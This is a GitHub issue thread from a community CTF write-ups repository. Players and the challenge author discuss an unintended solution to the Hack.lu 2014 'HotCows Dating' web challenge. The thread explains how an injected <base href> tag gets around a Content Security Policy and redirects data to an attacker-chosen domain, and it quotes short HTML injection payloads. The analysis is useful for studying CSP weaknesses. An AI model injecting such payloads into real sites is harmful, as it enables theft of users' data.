ctfs / write-ups-2014

Wiki-like CTF write-ups repository, maintained by the community. 2014
1.83k stars 644 forks source link

Hack.lu CTF 2014: HotCows Dating #185

Closed mathiasbynens closed 10 years ago

mathiasbynens commented 10 years ago

@qll I still have a question about the unintended solution for your awesome “HotCows Dating” challenge:

11:51:58 <mathiasbynens> fluxqll: since you wrote your thesis on it, you might be able to explain why <base href="http://ctf.opie.at:8000/"><img src="asdf works for hotcows
11:52:41 <mathiasbynens> fluxqll: i understand how <base> works but why doesn’t the CSP `img-src` set to `self` block it?
11:53:00 <mathiasbynens> fluxqll: is that a browser bug, or specced behavior?
mathiasbynens commented 10 years ago
12:22:41 <FAUST|ben> so, wait, the cow thing was a bug in chrome 37?
12:22:57 <FAUST|ben> at least the <base> thingie?
12:23:45 <@qll> FAUST|ben: no not really
12:23:47 <@qll> it's in the spec
12:23:54 <@qll> default-src does not set base-uri
12:24:15 <@qll> because base-uri is csp 2.0 and default-src was in csp 1.0 and they thought it would not be backwards compatible otherwise
12:24:24 <@qll> but I didn't think of it
12:24:58 <@freddyb> so base-uri is a csp bypass, but really not intended for the solution, FAUST|ben
12:24:59 <FAUST|ben> but still, it does not seem to work for me
12:25:03 <@freddyb> you can do without
12:25:06 <FAUST|ben> for chrome 38
12:25:16 <FAUST|ben> or I am too stupid ;)
12:26:20 <FAUST|ben> Refused to load the image 'https://foobar.de/right%20now.%20%20%20%20%3Cbutton%20id=' because it violates the following Content Security Policy directive: "img-src 'self'".
12:26:32 <FAUST|ben> No, I don't own foobar.de ;)
qll commented 10 years ago

Hi, I found some time to investigate the issue. Please ignore my comments from the #fluxfingers IRC - they are plainly wrong ;-)

This exploit works because it uses a chain of lucky events:

  1. When instantiating a new Template object, the template will be immediately loaded via XMLHttpRequest and cached in the sessionStorage.
  2. Since the injection (lines 144 and 145 in js/pages/chat.js) already occurs before the load of the message.html template (line 165), the new base URI is in effect.
  3. The page uses a relative URL to load the message.html template, so it is hijacked by the base URI and will be blocked by CSP. The XMLHttpRequest fails with a SecurityError. Thus the temp variable is not set and remains to be the location object.
  4. In page.appendMessage the renderToString function cannot be found on the location object and errors.
  5. So this leaves a call to location.assign('<base href=https://yourdomain/><img src=" (premium_stuff)'). This is in fact a relative URL and hence hijacked by the new base URI.
  6. Finally the browser redirects to http://yourdomain/<base href=... (and so on).

I’d argue that this exploit is way harder to find than the intended solution. Every attacker surfing on chat.js will fill the sessionStorage with the legitimate message.html Template. This stops the exploit from working because it needs the first SecurityError due to the XMLHttpRequest. No offense to the team that found this exploit, but I think if the exploit would have been fully understood this vector would have sufficed:

<base href=https://yourdomain/>
mathiasbynens commented 10 years ago

https://github.com/ctfs/write-ups/blob/master/hack-lu-ctf-2014/hotcows-dating/README.md#alternative-unintended-solution

psifertex commented 9 years ago

Can someone please clarify who came up with the alternate solution for HotCows? I need to mail them their golden flag trophy!

mathiasbynens commented 9 years ago

@psifertex The “expected” solution (still classifies as unexpected IMHO — only 1 team solved it this way!) was found by @tomvangoethem. The alternate solution was by team Samurai. I did the write-up for both, with help from @qll for figuring out why the alternate solution worked at all (Samurai didn’t really seem to know).